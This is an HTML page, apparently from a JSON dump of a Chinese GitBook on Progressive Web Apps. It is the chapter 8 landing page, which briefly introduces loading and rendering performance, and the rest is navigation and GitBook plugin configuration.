href=\"gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"chapter08/1-loading-performance.html\" />\n    \n    \n    <link rel=\"prev\" href=\"chapter07/4-vulnerability.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"./\">\n            \n                <a href=\"./\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"chapter01.html\">\n            \n                <a href=\"chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"chapter02.html\">\n            \n                <a href=\"chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"chapter02/2-design-and-tech.html\">\n            \n                <a href=\"chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"chapter02/3-app-shell.html\">\n            \n                <a href=\"chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"chapter02/4-app-skeleton.html\">\n            \n                <a href=\"chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"chapter02/5-responsive-design.html\">\n            \n                <a href=\"chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"chapter03.html\">\n            \n                <a href=\"chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"chapter03/1-promise.html\">\n            \n                <a href=\"chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"chapter03/2-async-function.html\">\n            \n                <a href=\"chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"chapter03/3-fetch-api.html\">\n            \n                <a href=\"chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"chapter03/4-cache-api.html\">\n            \n                <a href=\"chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"chapter03/5-indexeddb.html\">\n            \n                <a href=\"chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"chapter04.html\">\n            \n                <a href=\"chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"chapter04/2-service-worker-register.html\">\n            \n                <a href=\"chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"chapter05.html\">\n            \n                <a href=\"chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"chapter05/2-local-storage-management.html\">\n            \n                <a href=\"chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"chapter05/3-respond-strategy.html\">\n            \n                <a href=\"chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"chapter05/4-precache.html\">\n            \n                <a href=\"chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"chapter05/5-workbox.html\">\n            \n                <a href=\"chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"chapter06.html\">\n            \n                <a href=\"chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"chapter06/1-manifest-json.html\">\n            \n                <a href=\"chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"chapter06/2-credentials-api.html\">\n            \n                <a href=\"chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"chapter06/3-notification-api.html\">\n            \n                <a href=\"chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"chapter06/4-web-push-api.html\">\n            \n                <a href=\"chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"chapter06/5-payment-request-api.html\">\n            \n                <a href=\"chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"chapter07.html\">\n            \n                <a href=\"chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"chapter07/1-https.html\">\n            \n                <a href=\"chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"chapter07/2-CSP.html\">\n            \n                <a href=\"chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"chapter07/3-policy.html\">\n            \n                <a href=\"chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"chapter07/4-vulnerability.html\">\n            \n                <a href=\"chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.9\" data-path=\"chapter08.html\">\n            \n                <a href=\"chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"chapter08/1-loading-performance.html\">\n            \n                <a href=\"chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"chapter08/2-rendering-performance.html\">\n            \n                <a href=\"chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"chapter09.html\">\n            \n                <a href=\"chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"chapter09/1-search-engine-index.html\">\n            \n                <a href=\"chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"chapter09/4-preload-pwa.html\">\n            \n                <a href=\"chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"appendix01.html\">\n            \n                <a href=\"appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"appendix01/1-lighthouse.html\">\n            \n                <a href=\"appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"thanks.html\">\n            \n                <a href=\"thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\".\" >第8章 性能</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x6027;&#x80FD;\"><b></b>&#x6027;&#x80FD;</a></li></ul></div><a href=\"#&#x6027;&#x80FD;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x6027;&#x80FD;\"><a name=\"&#x6027;&#x80FD;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6027;&#x80FD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6027;&#x80FD;\" class=\"plugin-anchor\" href=\"#&#x6027;&#x80FD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6027;&#x80FD;</h1>\n<p>&#x6211;&#x4EEC;&#x5728; <a href=\"chapter01/2-what-is-pwa.html\">&#x7B2C;&#x4E00;&#x7AE0; &#x4EC0;&#x4E48;&#x662F; PWA</a> &#x4E2D;&#x63D0;&#x5230;&#xFF0C;PWA &#x5E94;&#x8BE5;&#x5FEB;&#x901F;&#x52A0;&#x8F7D;&#x3001;&#x53CA;&#x65F6;&#x54CD;&#x5E94;&#x7528;&#x6237;&#x53CD;&#x9988;&#x3001;&#x63D0;&#x4F9B;&#x6D41;&#x7545;&#x7684;&#x52A8;&#x753B;&#x3001;&#x4EE5;&#x53CA;&#x62E5;&#x6709;&#x7C7B;&#x4F3C; Native App &#x4E00;&#x822C;&#x6C89;&#x6D78;&#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x3002;&#x8FD9;&#x6BCF;&#x4E00;&#x70B9;&#x90FD;&#x8868;&#x660E;&#xFF0C;&#x4F18;&#x79C0;&#x7684; PWA &#x5BF9;&#x6027;&#x80FD;&#x6709;&#x5F88;&#x9AD8;&#x7684;&#x8981;&#x6C42;&#x3002;</p>\n<p>&#x672C;&#x7AE0;&#x5C06;&#x4E3B;&#x8981;&#x8BA8;&#x8BBA; Web &#x5E94;&#x7528;&#x7684;&#x6027;&#x80FD;&#xFF0C;&#x5C06;&#x4ECE;&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x6027;&#x80FD;&#x548C;&#x6E32;&#x67D3;&#x6027;&#x80FD;&#x4E24;&#x4E2A;&#x65B9;&#x9762;&#xFF0C;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD; Web &#x5E94;&#x7528;&#x6027;&#x80FD;&#x4F18;&#x5316;&#x539F;&#x7406;&#x548C;&#x624B;&#x6BB5;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"chapter07/4-vulnerability.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 7.4 典型的安全漏洞\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"chapter08/1-loading-performance.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 8.1 加载性能 \">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"第8章 性能\",\"level\":\"1.9\",\"depth\":1,\"next\":{\"title\":\"8.1 加载性能 \",\"level\":\"1.9.1\",\"depth\":2,\"path\":\"chapter08/1-loading-performance.md\",\"ref\":\"chapter08/1-loading-performance.md\",\"articles\":[]},\"previous\":{\"title\":\"7.4 典型的安全漏洞\",\"level\":\"1.8.4\",\"depth\":2,\"path\":\"chapter07/4-vulnerability.md\",\"ref\":\"chapter07/4-vulnerability.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter08.md\",\"mtime\":\"2019-06-19T10:37:42.413Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\".\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"gitbook/gitbook.js\"></script>\n    <script src=\"gitbook/theme.js\"></script>\n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter09/1-search-engine-index.html",
